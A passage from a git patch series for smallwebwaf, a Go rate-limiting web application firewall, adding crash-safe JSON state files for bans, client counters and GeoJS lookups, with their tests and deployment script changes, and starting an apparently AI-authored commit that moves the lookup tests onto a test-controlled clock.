<-f.params.Ledger.Changed(): + if bansDue == nil { + bansDue = time.After(f.params.WriteDelay) + } + case <-bansDue: + bansDue = nil + + f.logFailure(f.writeBans()) + case <-interval.C: + f.logFailure(f.WriteAll()) + } + } +} + +// WriteAll writes every state file, as smallwebwaf stops. A file that +// fails does not keep the others from being written. +func (f *Files) WriteAll() error { + return errors.Join(f.writeBans(), f.writeClients(), f.writeLookups()) +} + +// logFailure logs a write that failed. +func (f *Files) logFailure(err error) { + if err != nil { + f.params.ProcessLog.Error("writing the state files failed", + "error", err.Error()) + } +} + +// writeBans writes bans.json. +func (f *Files) writeBans() error { + held := f.params.Ledger.Snapshot() + + file := bansFile{Version: version, Bans: make([]banEntry, 0, len(held))} + for _, ban := range held { + file.Bans = append(file.Bans, newBanEntry(ban)) + } + + data, err := json.MarshalIndent(file, "", " ") + if err != nil { + return fmt.Errorf("encode %s: %w", bansJSON, err) + } + + return write(f.params.Dir, bansJSON, append(data, '\n')) +} + +// writeClients writes clients.json. +func (f *Files) writeClients() error { + data, err := encodeOnePerLine("clients", f.params.Limiter.Snapshot()) + if err != nil { + return fmt.Errorf("encode %s: %w", clientsJSON, err) + } + + return write(f.params.Dir, clientsJSON, data) +} + +// writeLookups writes lookups.json. +func (f *Files) writeLookups() error { + data, err := encodeOnePerLine("lookups", f.params.GeoJS.Snapshot()) + if err != nil { + return fmt.Errorf("encode %s: %w", lookupsJSON, err) + } + + return write(f.params.Dir, lookupsJSON, data) +} + +// newBanEntry returns ban as bans.json holds it. +func newBanEntry(ban bans.Ban) banEntry { + entry := banEntry{Netblock: ban.Netblock, Start: ban.Start, Notes: ban.Notes} + if !ban.Permanent() { + entry.Expires = &ban.Expires + } + + return entry +} + +// ban returns the ban an entry of bans.json holds. +func (e banEntry) ban() bans.Ban { + ban := bans.Ban{Netblock: e.Netblock, Start: e.Start, Notes: e.Notes} + if e.Expires != nil { + ban.Expires = *e.Expires + } + + return ban +} + +// check refuses a ban without a netblock, which would refuse every IPv6 +// client, a start, from which the length of the netblock's next ban is +// worked out, or an expires, which would make it permanent. A permanent +// ban's expires is null, which Bans cannot tell from a missing one, so +// each expires is read again as written. +func (f *bansFile) check(data []byte) error { + var written struct { + Bans []struct { + Expires json.RawMessage `json:"expires"` + } `json:"bans"` + } + + err := json.Unmarshal(data, &written) + if err != nil { + return err + } + + for i, entry := range f.Bans { + switch { + case !entry.Netblock.IsValid(): + return missing(i, "netblock") + case entry.Start.IsZero(): + return missing(i, "start") + case written.Bans[i].Expires == nil: + return missing(i, "expires") + } + } + + return nil +} + +// check refuses a client without its address, which would count nobody's +// requests, or with requests in a window but no start, which would drop +// them and give the client a fresh allowance. +func (f *clientsFile) check([]byte) error { + for i, client := range f.Clients { + switch { + case !client.Client.IsValid(): + return missing(i, "client") + case countsWithoutStart(client.Minute): + return missing(i, "minute.start") + case countsWithoutStart(client.Hour): + return missing(i, "hour.start") + case countsWithoutStart(client.Day): + return missing(i, "day.start") + } + } + + return nil +} + +// check refuses an answer without a client, which would answer for +// nobody, a country, which would place the client nowhere, or the time +// GeoJS gave it, which would drop it. "" is the country of a client +// GeoJS cannot place, which Lookups cannot tell from a missing one, so +// each country is read again as written. +func (f *lookupsFile) check(data []byte) error { + var written struct { + Lookups []struct { + Country *string `json:"country"` + } `json:"lookups"` + } + + err := json.Unmarshal(data, &written) + if err != nil { + return err + } + + for i, answer := range f.Lookups { + switch { + case !answer.Client.IsValid(): + return missing(i, "client") + case written.Lookups[i].Country == nil: + return missing(i, "country") + case answer.Answered.IsZero(): + return missing(i, "answered") + } + } + + return nil +} + +// countsWithoutStart reports whether b holds requests but no start, which +// places them in time. +func countsWithoutStart(b ratelimit.Buckets) bool { + return b.Start.IsZero() && (b.Current != 0 || b.Previous != 0) +} + +// missing returns the error for entry i, counted from 0, of a state file, +// which has no field. +func missing(i int, field string) error { + return fmt.Errorf("entry %d %w %q", i+1, errMissing, field) +} + +// encodeOnePerLine encodes a state file whose entries, under key, are one +// to a line, so that grep shows everything about one client. +func encodeOnePerLine[E any](key string, entries []E) ([]byte, error) { + var b bytes.Buffer + + fmt.Fprintf(&b, "{\n \"version\": %d,\n %q: [", version, key) + + for i, entry := range entries { + line, err := json.Marshal(entry) + if err != nil { + return nil, err + } + + if i > 0 { + b.WriteString(",") + } + + b.WriteString("\n ") + b.Write(line) + } + + b.WriteString("\n ]\n}\n") + + return b.Bytes(), nil +} + +// checkWritable makes a file in dir and removes it again. +func checkWritable(dir string) error { + file, err := os.CreateTemp(dir, "write-check-*") + if err != nil { + return err + } + + return errors.Join(file.Close(), os.Remove(file.Name())) +} + +// read reads the state file name in dir into file, a pointer to that +// file's struct, and checks its entries. A missing file leaves file as it +// is. +func read(dir, name string, file stateFile) error { + path := filepath.Join(dir, name) + + data, err := os.ReadFile(path) //nolint:gosec // a state file, in SWWAF_STATE_DIR + if errors.Is(err, fs.ErrNotExist) { + return nil + } + + if err != nil { + return err + } + + // The version is read first, so that a file of another version is + // refused for that, and not for an entry this version cannot read. + var header struct { + Version int `json:"version"` + } + + err = json.Unmarshal(data, &header) + if err == nil && header.Version != version { + err = fmt.Errorf("%w %d, where this smallwebwaf reads version %d", + errVersion, header.Version, version) + } + + if err == nil { + decoder := json.NewDecoder(bytes.NewReader(data)) + // A field this version does not know is most likely misspelt, and + // its value would be lost without a word. + decoder.DisallowUnknownFields() + err = decoder.Decode(file) + } + + if err == nil { + err = file.check(data) + } + + if err != nil { + return fmt.Errorf("%s%s: %w", path, position(data, err), err) + } + + return nil +} + +// position returns where in data err was found, as ", line L, column C" +// of the last byte the JSON decoder read, or "" when err does not tell. +func position(data []byte, err error) string { + var ( + syntaxErr *json.SyntaxError + typeErr *json.UnmarshalTypeError + read int64 + ) + + switch { + case errors.As(err, &syntaxErr): + read = syntaxErr.Offset + case errors.As(err, &typeErr): + read = typeErr.Offset + default: + return "" + } + + before := data[:max(min(read, int64(len(data)))-1, 0)] + line := bytes.Count(before, []byte("\n")) + 1 + column := len(before) - bytes.LastIndexByte(before, '\n') + + return fmt.Sprintf(", line %d, column %d", line, column) +} + +// write writes data to the file name in dir so that a crash at any +// moment leaves either the old file or the new one, whole: data goes to a +// temporary file in the same directory, which is synced and renamed over +// name, and then the directory is synced, so that the rename lasts. +func write(dir, name string, data []byte) error { + path := filepath.Join(dir, name) + temporary := path + ".tmp" + + err := writeSynced(temporary, data) + if err == nil { + err = os.Rename(temporary, path) + } + + if err != nil { + _ = os.Remove(temporary) + + return err + } + + directory, err := os.Open(dir) //nolint:gosec // SWWAF_STATE_DIR itself + if err != nil { + return err + } + + return errors.Join(directory.Sync(), directory.Close()) +} + +// writeSynced writes data to the file at path, and syncs it to the disk. +func writeSynced(path string, data []byte) error { + //nolint:gosec // a state file's temporary file, in SWWAF_STATE_DIR + file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, fileMode) + if err != nil { + return err + } + + _, err = file.Write(data) + if err == nil { + err = file.Sync() + } + + return errors.Join(err, file.Close()) +} diff --git a/internal/state/state_test.go b/internal/state/state_test.go new file mode 100644 index 0000000..dfab4e9 --- /dev/null +++ b/internal/state/state_test.go @@ -0,0 +1,635 @@ +package state_test + +import ( + "context" + "encoding/json" + "log/slog" + "net/netip" + "os" + "path/filepath" + "slices" + "strings" + "testing" + "testing/synctest" + "time" + + "sneak.berlin/go/smallwebwaf/internal/bans" + "sneak.berlin/go/smallwebwaf/internal/lookup" + "sneak.berlin/go/smallwebwaf/internal/ratelimit" + "sneak.berlin/go/smallwebwaf/internal/state" +) + +const ( + // The state files. + bansJSON = "bans.json" + clientsJSON = "clients.json" + lookupsJSON = "lookups.json" +) + +// permanentBansJSON is bans.json holding permanentBan. +const permanentBansJSON = `{ + "version": 1, + "bans": [ + { + "netblock": "2001:db8::/64", + "start": "2026-10-06T00:00:00Z", + "expires": null, + "notes": { + "country": "DE", + "limit": 1000, + "window": "minute", + "count": 1000.5, + "request": { + "time": "2026-10-06T00:00:00Z", + "method": "GET", + "host": "app.example", + "path": "/repo?page=2", + "status": 403, + "user_agent": "scraper/1.0" + }, + "requests": 1500, + "refused": 3, + "earlier_bans": 5 + } + } + ] +} +` + +func TestFilesWrittenAndReadBack(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + before := newParams(dir) + fill(before) + + files, err := state.Load(before) + if err != nil { + t.Fatalf("load: %v", err) + } + + err = files.WriteAll() + if err != nil { + t.Fatalf("write: %v", err) + } + + // Read into new parts, as at the next start, the files give back what + // was written. + after := newParams(dir) + load(t, after) + + wantEqual(t, bansJSON, after.Ledger.Snapshot(), before.Ledger.Snapshot()) + wantEqual(t, clientsJSON, after.Limiter.Snapshot(), before.Limiter.Snapshot()) + wantEqual(t, lookupsJSON, after.GeoJS.Snapshot(), before.GeoJS.Snapshot()) + + // Each one-per-line file lists its entries by client, and nothing + // but the three files is left in the directory. + wantEntries(t, filepath.Join(dir, clientsJSON), "clients", + "192.0.2.1/32", "203.0.113.9/32", "2001:db8::/64") + wantEntries(t, filepath.Join(dir, lookupsJSON), "lookups", + "192.0.2.1/32", "203.0.113.9/32") + wantFiles(t, dir, bansJSON, clientsJSON, lookupsJSON) +} + +func TestBansJSONIsIndentedWithNullForAPermanentBan(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + params := newParams(dir) + params.Ledger.Load([]bans.Ban{permanentBan()}) + + files := load(t, params) + + err := files.WriteAll() + if err != nil { + t.Fatalf("write: %v", err) + } + + got := readFile(t, filepath.Join(dir, bansJSON)) + if got != permanentBansJSON { + t.Errorf("bans.json\n%s\nwant\n%s", got, permanentBansJSON) + } +} + +func TestMissingFilesAreEmptyState(t *testing.T) { + t.Parallel() + + params := newParams(t.TempDir()) + load(t, params) + + if len(params.Ledger.Snapshot()) != 0 || len(params.Limiter.Snapshot()) != 0 || + len(params.GeoJS.Snapshot()) != 0 { + t.Error("state from no files") + } +} + +func TestFileThatDoesNotParseStopsTheStart(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name, file, content string + // want is what the error says after the file's path. + want string + }{ + { + "a syntax error", bansJSON, + "{\n \"version\": 1,\n \"bans\": [\n" + + " {\"netblock\": \"203.0.113.9/32\",}\n ]\n}\n", + ", line 4, column 39: invalid character '}'", + }, + { + "a value of the wrong kind", clientsJSON, + "{\n \"version\": 1,\n \"clients\": [\n" + + " {\"client\":\"203.0.113.9/32\",\"history\":{\"requests\":\"many\"}}\n" + + " ]\n}\n", + ", line 4, column ", + }, + { + // Found at the newline that ends the file. + "a cut-off file", lookupsJSON, + "{\n \"version\": 1,\n \"lookups\": [\n", + ", line 3, column 17: unexpected end of JSON input", + }, + { + "an unknown field", lookupsJSON, + `{"version": 1, "lookups": [{"client": "203.0.113.9/32", "contry": "DE"}]}`, + `: json: unknown field "contry"`, + }, + { + "a netblock that does not read", bansJSON, + `{"version": 1, "bans": [{"netblock": "203.0.113.300/32"}]}`, + `: netip.ParsePrefix("203.0.113.300/32")`, + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + wantRefused(t, tc.file, tc.content, tc.want) + }) + } +} + +func TestEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { + t.Parallel() + + const ( + // The other fields each entry needs. + ban = `"start": "2026-10-06T00:00:00Z", "expires": null` + answer = `"answered": "2026-10-06T00:00:00Z"` + + noNetblock = `: entry 1 has no "netblock"` + ) + + for _, tc := range []struct { + name, file, content string + // want is what the error says after the file's path. + want string + }{ + { + "a ban without a netblock", bansJSON, + `{"version": 1, "bans": [{` + ban + `}]}`, + noNetblock, + }, + { + "a ban whose netblock is null", bansJSON, + `{"version": 1, "bans": [{"netblock": null, ` + ban + `}]}`, + noNetblock, + }, + { + "a ban whose netblock is empty", bansJSON, + `{"version": 1, "bans": [{"netblock": "", ` + ban + `}]}`, + noNetblock, + }, + { + "a ban without a start", bansJSON, + `{"version": 1, "bans": [{"netblock": "203.0.113.9/32", "expires": null}]}`, + `: entry 1 has no "start"`, + }, + { + // The first ban's expires is null, as a permanent ban's is. + "a ban without an expires", bansJSON, + `{"version": 1, "bans": [{"netblock": "203.0.113.9/32", ` + ban + `}, ` + + `{"netblock": "203.0.113.10/32", "start": "2026-10-06T00:00:00Z"}]}`, + `: entry 2 has no "expires"`, + }, + { + "a client without its address", clientsJSON, + `{"version": 1, "clients": [{"history": {"requests": 3}}]}`, + `: entry 1 has no "client"`, + }, + { + "a client with requests in a window without its start", clientsJSON, + `{"version": 1, "clients": [{"client": "203.0.113.9/32", ` + + `"hour": {"current": 3}}]}`, + `: entry 1 has no "hour.start"`, + }, + { + "an answer without a client", lookupsJSON, + `{"version": 1, "lookups": [{"country": "DE", ` + answer + `}]}`, + `: entry 1 has no "client"`, + }, + { + // A country of "" is a client GeoJS cannot place. + "an answer without a country", lookupsJSON, + `{"version": 1, "lookups": [{"client": "192.0.2.1/32", "country": "", ` + + answer + `}, {"client": "203.0.113.9/32", ` + answer + `}]}`, + `: entry 2 has no "country"`, + }, + { + "an answer without the time GeoJS gave it", lookupsJSON, + `{"version": 1, "lookups": [{"client": "203.0.113.9/32", "country": "DE"}]}`, + `: entry 1 has no "answered"`, + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + wantRefused(t, tc.file, tc.content, tc.want) + }) + } +} + +func TestUnknownVersionStopsTheStart(t *testing.T) { + t.Parallel() + + for _, file := range []string{bansJSON, clientsJSON, lookupsJSON} { + for _, content := range []string{`{"version": 2}`, `{}`} { + t.Run(file+" "+content, func(t *testing.T) { + t.Parallel() + + wantRefused(t, file, content, ": unknown version ") + }) + } + } +} + +func TestUnwritableDirectoryStopsTheStart(t *testing.T) { + t.Parallel() + + notADirectory := filepath.Join(t.TempDir(), "file") + + err := os.WriteFile(notADirectory, nil, 0o600) + if err != nil { + t.Fatalf("write: %v", err) + } + + for _, dir := range []string{ + filepath.Join(t.TempDir(), "missing"), + notADirectory, + } { + const want = "SWWAF_STATE_DIR cannot be written: " + + _, err := state.Load(newParams(dir)) + if err == nil || !strings.HasPrefix(err.Error(), want) { + t.Errorf("state directory %s: error %v, want one starting %s", dir, err, want) + } + } +} + +// The two tests below run Run in a synctest bubble, where time is a clock +// of the test's own: time.Sleep moves it on at once, and synctest.Wait +// returns once Run waits for its next write, so that every write due by +// then is on disk. + +func TestBansWrittenOnceWriteDelayAfterABan(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + dir := t.TempDir() + params := newParams(dir) + params.WriteDelay = 10 * time.Second + run(t, load(t, params)) + + // A second ban, made while the first waits to be written, puts the + // write off no further, and is written with it. + first := params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), + midnight(), bans.Notes{}) + + time.Sleep(5 * time.Second) + + second := params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), + midnight(), bans.Notes{}) + + time.Sleep(5*time.Second - time.Nanosecond) + synctest.Wait() + wantFiles(t, dir) + + time.Sleep(time.Nanosecond) + synctest.Wait() + wantFiles(t, dir, bansJSON) + + read := newParams(dir) + load(t, read) + + want := []bans.Ban{first, second} + if got := read.Ledger.Snapshot(); !slices.Equal(got, want) { + t.Errorf("bans.json holds %+v, want %+v", got, want) + } + + // That write was the only one: bans.json is not written again for + // the second ban. The other files wait for the interval, an hour + // away. + removeFiles(t, dir, bansJSON) + time.Sleep(params.WriteDelay) + synctest.Wait() + wantFiles(t, dir) + }) +} + +func TestEveryFileWrittenEveryCounterInterval(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + dir := t.TempDir() + params := newParams(dir) + params.CounterInterval = time.Minute + run(t, load(t, params)) + + // The files are removed once written, so that each interval shows + // them written again. + for range 3 { + time.Sleep(time.Minute - time.Nanosecond) + synctest.Wait() + wantFiles(t, dir) + + time.Sleep(time.Nanosecond) + synctest.Wait() + wantFiles(t, dir, bansJSON, clientsJSON, lookupsJSON) + removeFiles(t, dir, bansJSON, clientsJSON, lookupsJSON) + } + }) +} + +func TestFailedWriteLeavesTheFileAsItWas(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + params := newParams(dir) + params.Ledger.Load([]bans.Ban{permanentBan()}) + files := load(t, params) + + err := files.WriteAll() + if err != nil { + t.Fatalf("write: %v", err) + } + + // A directory in the way of bans.json's temporary file fails its + // next write, but not the others'. + err = os.Mkdir(filepath.Join(dir, bansJSON+".tmp"), 0o700) + if err != nil { + t.Fatalf("mkdir: %v", err) + } + + params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), + bans.Notes{}) + params.Limiter.Count(netip.MustParsePrefix("203.0.113.9/32"), midnight()) + + err = files.WriteAll() + if err == nil || !strings.Contains(err.Error(), bansJSON+".tmp") { + t.Errorf("error %v, want one naming bans.json's temporary file", err) + } + + got := readFile(t, filepath.Join(dir, bansJSON)) + if got != permanentBansJSON { + t.Errorf("bans.json is now\n%s\nwant it as it was", got) + } + + read := newParams(dir) + load(t, read) + + if len(read.Limiter.Snapshot()) != 1 { + t.Error("clients.json was not written") + } +} + +func TestFailedRenameLeavesNoTemporaryFile(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + files := load(t, newParams(dir)) + + // A directory named bans.json cannot be renamed over. + err := os.Mkdir(filepath.Join(dir, bansJSON), 0o700) + if err != nil { + t.Fatalf("mkdir: %v", err) + } + + err = files.WriteAll() + if err == nil { + t.Error("writing over a directory did not fail") + } + + wantFiles(t, dir, bansJSON, clientsJSON, lookupsJSON) +} + +// midnight is the time of the tests' clock. +func midnight() time.Time { + return time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC) +} + +// newParams returns Params for the state files in dir, with parts that +// hold nothing yet. GeoJS is never asked. +func newParams(dir string) state.Params { + discard := slog.New(slog.DiscardHandler) + + return state.Params{ + Dir: dir, + WriteDelay: time.Hour, + CounterInterval: time.Hour, + Ledger: bans.New(bans.Rules{ + LimitBanDuration: time.Hour, + LimitBanRepeatWindow: 24 * time.Hour, + MaxBanDuration: 7 * 24 * time.Hour, + MaxBans: 5000, + }), + Limiter: ratelimit.New(ratelimit.Limits{}), + GeoJS: lookup.New(lookup.Params{Now: midnight, ProcessLog: discard}), + Now: midnight, + ProcessLog: discard, + } +} + +// fill puts a ban that ends and one that does not, clients with counts +// and histories, and GeoJS answers into the parts of params. +func fill(params state.Params) { + now := midnight() + client := netip.MustParsePrefix("203.0.113.9/32") + + params.Ledger.Load([]bans.Ban{permanentBan()}) + params.Ledger.BanForLimit(client, now, bans.Notes{Country: "DE", Limit: 1}) + + for _, c := range []string{"2001:db8::/64", "203.0.113.9/32", "192.0.2.1/32"} { + params.Limiter.Count(netip.MustParsePrefix(c), now) + } + + params.Limiter.AddToHistory(client, now, ratelimit.Request{ + Country: "DE", Forwarded: true, Status: 200, RequestBytes: 3, ResponseBytes: 5, + }) + + params.GeoJS.Load([]lookup.Answer{ + {Client: client, Country: "DE", Answered: now.Add(-time.Hour), Used: now}, + { + Client: netip.MustParsePrefix("192.0.2.1/32"), + Answered: now.Add(-time.Hour), Used: now.Add(-time.Minute), + }, + }) +} + +// permanentBan is the ban permanentBansJSON holds. +func permanentBan() bans.Ban { + return bans.Ban{ + Netblock: netip.MustParsePrefix("2001:db8::/64"), + Start: midnight(), + Notes: bans.Notes{ + Country: "DE", + Limit: 1000, + Window: "minute", + Count: 1000.5, + Request: bans.Request{ + Time: midnight(), + Method: "GET", + Host: "app.example", + Path: "/repo?page=2", + Status: 403, + UserAgent: "scraper/1.0", + }, + Requests: 1500, + Refused: 3, + EarlierBans: 5, + }, + } +} + +// load reads the state files into the parts of params. +func load(t *testing.T, params state.Params) *state.Files { + t.Helper() + + files, err := state.Load(params) + if err != nil { + t.Fatalf("load: %v", err) + } + + return files +} + +// run runs files' writes until the test ends. +func run(t *testing.T, files *state.Files) { + t.Helper() + + ctx, stop := context.WithCancel(t.Context()) + stopped := make(chan struct{}) + + go func() { + files.Run(ctx) + close(stopped) + }() + + t.Cleanup(func() { + stop() + <-stopped + }) +} + +// wantEqual checks that the entries read back from file are those +// written. +func wantEqual[E comparable](t *testing.T, file string, got, want []E) { + t.Helper() + + if !slices.Equal(got, want) { + t.Errorf("%s read back\n%+v\nwant\n%+v", file, got, want) + } +} + +// readFile returns what the file at path holds. +func readFile(t *testing.T, path string) string { + t.Helper() + + data, err := os.ReadFile(path) //nolint:gosec // a file the test wrote + if err != nil { + t.Fatalf("read: %v", err) + } + + return string(data) +} + +// wantRefused writes content to the state file named file in a new +// directory, and checks that Load refuses it with an error that is the +// file's path and then starts with want. +func wantRefused(t *testing.T, file, content, want string) { + t.Helper() + + dir := t.TempDir() + path := filepath.Join(dir, file) + + err := os.WriteFile(path, []byte(content), 0o600) + if err != nil { + t.Fatalf("write %s: %v", file, err) + } + + _, err = state.Load(newParams(dir)) + if err == nil || !strings.HasPrefix(err.Error(), path+want) { + t.Errorf("error %v, want one starting %s%s", err, path, want) + } +} + +// removeFiles removes the named files from dir. +func removeFiles(t *testing.T, dir string, names ...string) { + t.Helper() + + for _, name := range names { + err := os.Remove(filepath.Join(dir, name)) + if err != nil { + t.Fatalf("remove: %v", err) + } + } +} + +// wantFiles checks the names of the files in dir. +func wantFiles(t *testing.T, dir string, want ...string) { + t.Helper() + + entries, err := os.ReadDir(dir) + if err != nil { + t.Fatalf("read %s: %v", dir, err) + } + + got := make([]string, 0, len(entries)) + for _, entry := range entries { + got = append(got, entry.Name()) + } + + if !slices.Equal(got, want) { + t.Errorf("%s holds %v, want %v", dir, got, want) + } +} + +// wantEntries checks that the file at path has its version, then its +// entries under key, each on a line of its own, for the clients want +// names in that order. +func wantEntries(t *testing.T, path, key string, want ...string) { + t.Helper() + + data := readFile(t, path) + lines := strings.Split(strings.TrimSuffix(data, "\n"), "\n") + head := []string{"{", ` "version": 1,`, ` "` + key + `": [`} + tail := []string{" ]", "}"} + + if len(lines) != len(head)+len(want)+len(tail) || + !slices.Equal(lines[:len(head)], head) || + !slices.Equal(lines[len(lines)-len(tail):], tail) { + t.Fatalf("%s is\n%s", path, data) + } + + for i, client := range want { + line := strings.TrimSuffix(lines[len(head)+i], ",") + + var entry struct { + Client string `json:"client"` + } + + err := json.Unmarshal([]byte(line), &entry) + if err != nil || entry.Client != client { + t.Errorf("entry %d of %s is %s (%v), want %s's", i, path, line, err, client) + } + } +} diff --git a/script/example-app b/script/example-app index 63afabb..b07236b 100755 --- a/script/example-app +++ b/script/example-app @@ -1,12 +1,14 @@ #!/bin/sh # script/example-app: build the image, and on it the example app in -# deploy/example-app, then run the app's container and check that the -# health check passes, that a request is served through smallwebwaf, -# that `sv stop` stops smallwebwaf in order, and that `docker stop` -# stops the container without having to kill it. The container and both -# images are removed however the script ends. Building the app needs -# network access, for nixpkgs' binary cache. script/check does not run -# this. +# deploy/example-app, then run the app's container with a volume for the +# state files and check that the health check passes, that a request is +# served through smallwebwaf, that a second one in a minute bans the +# client, that `sv stop` stops smallwebwaf in order, that `docker stop` +# stops the container without having to kill it, and that a new +# container on the same volume still refuses the banned client. The +# containers, the volume and both images are removed however the script +# ends. Building the app needs network access, for nixpkgs' binary cache. +# script/check does not run this. set -eu SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)" @@ -18,9 +20,11 @@ NAME="$("$SCRIPT_DIR/projectname")-example-$$" IMAGE="$NAME-base" APP_IMAGE="$NAME-app" CONTAINER="$NAME" +VOLUME="$NAME-state" cleanup() { docker rm --force "$CONTAINER" >/dev/null 2>&1 || true + docker volume rm --force "$VOLUME" >/dev/null 2>&1 || true docker rmi --force "$APP_IMAGE" "$IMAGE" >/dev/null 2>&1 || true } @@ -53,6 +57,26 @@ logged() { docker logs "$CONTAINER" 2>&1 | grep -qF "$1" } +# start_container: run the app's container, with the state files on the +# volume and a rate limit of one request a minute, and wait until it is +# healthy. +start_container() { + docker run --detach --name "$CONTAINER" --publish 127.0.0.1::8080 \ + --volume "$VOLUME:/var/lib/smallwebwaf" \ + --env SWWAF_RATE_LIMIT_PER_MINUTE=1 \ + "$APP_IMAGE" >/dev/null + wait_for "the health check did not pass" healthy + address="$(docker port "$CONTAINER" 8080/tcp)" +} + +# refused: a request to the container gets 403, SWWAF_BAN_RESPONSE's +# default. +refused() { + code="$(curl --silent --output /dev/null --write-out '%{http_code}' \ + --max-time 10 "http://$address/")" || true + [ "$code" = 403 ] +} + main() { cd "$ROOT" trap cleanup EXIT @@ -62,18 +86,20 @@ main() { docker build --no-cache --build-arg SMALLWEBWAF_IMAGE="$IMAGE" \ -t "$APP_IMAGE" deploy/example-app - docker run --detach --name "$CONTAINER" --publish 127.0.0.1::8080 \ - "$APP_IMAGE" >/dev/null - wait_for "the health check did not pass" healthy + docker volume create "$VOLUME" >/dev/null + start_container echo "example-app: the health check passes" - address="$(docker port "$CONTAINER" 8080/tcp)" page="$(curl --fail --silent --show-error --max-time 10 "http://$address/")" || fail "no answer on port 8080" [ "$page" = "hello from the example app" ] || fail "port 8080 answered $page" wait_for "smallwebwaf logged no request it forwarded" logged '"action":"forward"' echo "example-app: smallwebwaf passes a request to the app and its answer back" + refused || fail "a second request in a minute was not refused" + wait_for "smallwebwaf logged no ban" logged '"action":"rate_limited"' + echo "example-app: a second request in a minute bans the client" + docker exec "$CONTAINER" sv stop smallwebwaf >/dev/null || fail "sv stop smallwebwaf failed" wait_for "smallwebwaf did not stop in order" logged '"msg":"stopped"' @@ -83,6 +109,13 @@ main() { status="$(docker inspect --format '{{.State.ExitCode}}' "$CONTAINER")" [ "$status" = 0 ] || fail "docker stop left exit status $status" echo "example-app: docker stop stops the container in order" + + docker rm "$CONTAINER" >/dev/null + start_container + refused || fail "the new container let the banned client through" + wait_for "smallwebwaf logged no request refused under the ban" \ + logged '"action":"banned"' + echo "example-app: a new container on the same volume keeps the ban" } main "$@" diff --git a/script/run b/script/run index a64ade2..b0cd063 100755 --- a/script/run +++ b/script/run @@ -1,6 +1,7 @@ #!/bin/sh # script/run: build bin/smallwebwaf with script/build and run it, with -# the settings in the environment. +# the settings in the environment. Unless SWWAF_STATE_DIR is set, the +# state files go in bin/state, beside the binary. set -eu SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)" @@ -8,6 +9,11 @@ ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)" main() { "$SCRIPT_DIR/build" + if [ -z "${SWWAF_STATE_DIR+set}" ]; then + SWWAF_STATE_DIR="$ROOT/bin/state" + export SWWAF_STATE_DIR + mkdir -p "$SWWAF_STATE_DIR" + fi exec "$ROOT/bin/smallwebwaf" } diff --git a/share/smallwebwaf.run b/share/smallwebwaf.run index ba912de..a13a17b 100755 --- a/share/smallwebwaf.run +++ b/share/smallwebwaf.run @@ -2,10 +2,14 @@ set -euo pipefail # runit's run script for smallwebwaf, run again whenever smallwebwaf -# exits; the wait spaces out the restarts. exec, so that the signal -# `sv stop` sends reaches smallwebwaf itself. +# exits; the wait spaces out the restarts. The state directory and every +# file in it are given to the smallwebwaf user, so that a volume mounted +# there needs no change of owner; chown -R changes a symbolic link itself, +# never what it points to. exec, so that the signal `sv stop` sends +# reaches smallwebwaf itself. main() { sleep 1 + chown -R smallwebwaf:smallwebwaf "${SWWAF_STATE_DIR:-/var/lib/smallwebwaf}" exec chpst -u smallwebwaf:smallwebwaf /usr/local/bin/smallwebwaf } From 68f687cb0cf0d0e83391f360df22fa5a88fcd5c9 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Tue, 6 Oct 2026 09:12:50 +0200 Subject: [PATCH 20/64] Run the GeoJS lookup tests on a clock the test controls (closes #73) The tests that have GeoJS asked now run in a synctest bubble, so a wait lasts exactly as long as it should however slowly the test process runs: a new client's wait is checked to be exactly one second, and its next request exactly no wait. A request waiting on the network would stop the bubble's clock, so the stand-in for GeoJS now answers in place of the network, through a transport that a test-only file lets the tests set. The test of the failure log uses an abandoned request instead of a closed port. Model: opus-5-5 --- internal/lookup/export_test.go | 9 + internal/lookup/lookup_test.go | 479 ++++++++++++++++--------------- internal/lookup/snapshot_test.go | 37 +-- 3 files changed, 283 insertions(+), 242 deletions(-) create mode 100644 internal/lookup/export_test.go diff --git a/internal/lookup/export_test.go b/internal/lookup/export_test.go new file mode 100644 index 0000000..3276a6c --- /dev/null +++ b/internal/lookup/export_test.go @@ -0,0 +1,9 @@ +package lookup + +import "net/http" + +// SetTransport has g's requests to GeoJS go through transport instead of +// the network. +func (g *GeoJS) SetTransport(transport http.RoundTripper) { + g.httpClient.Transport = transport +} diff --git a/internal/lookup/lookup_test.go b/internal/lookup/lookup_test.go index bcfc3a1..d2455a9 100644 --- a/internal/lookup/lookup_test.go +++ b/internal/lookup/lookup_test.go @@ -10,6 +10,7 @@ import ( "strings" "sync" "testing" + "testing/synctest" "time" "sneak.berlin/go/smallwebwaf/internal/lookup" @@ -26,80 +27,87 @@ const ( leftOut = "203.0.113.7" // timeout is how long a new client waits for its answer. timeout = time.Second - // waitLimit bounds how long a test waits for what should happen. - waitLimit = 10 * time.Second - // pollInterval is how often a test looks again. - pollInterval = 10 * time.Millisecond // week is how long an answer is kept. week = 7 * 24 * time.Hour ) +// The tests that have GeoJS asked run in a synctest bubble, where the time +// package runs on a clock of the test's own: a wait lasts exactly as long +// as it should, however slowly the test process runs, and synctest.Wait +// returns once g has done all it can before time passes. The stand-in for +// GeoJS answers without the network, since a request waiting on the +// network would keep that clock from moving on. + func TestKeptAnswerIsUsedFor7DaysThenAskedAgain(t *testing.T) { t.Parallel() - geojs, clock, g := start(t) - placed := netip.MustParsePrefix("203.0.113.9/32") - notPlaced := netip.MustParsePrefix(unplaced + "/32") + synctest.Test(t, func(t *testing.T) { + geojs, clock, g := start() + placed := 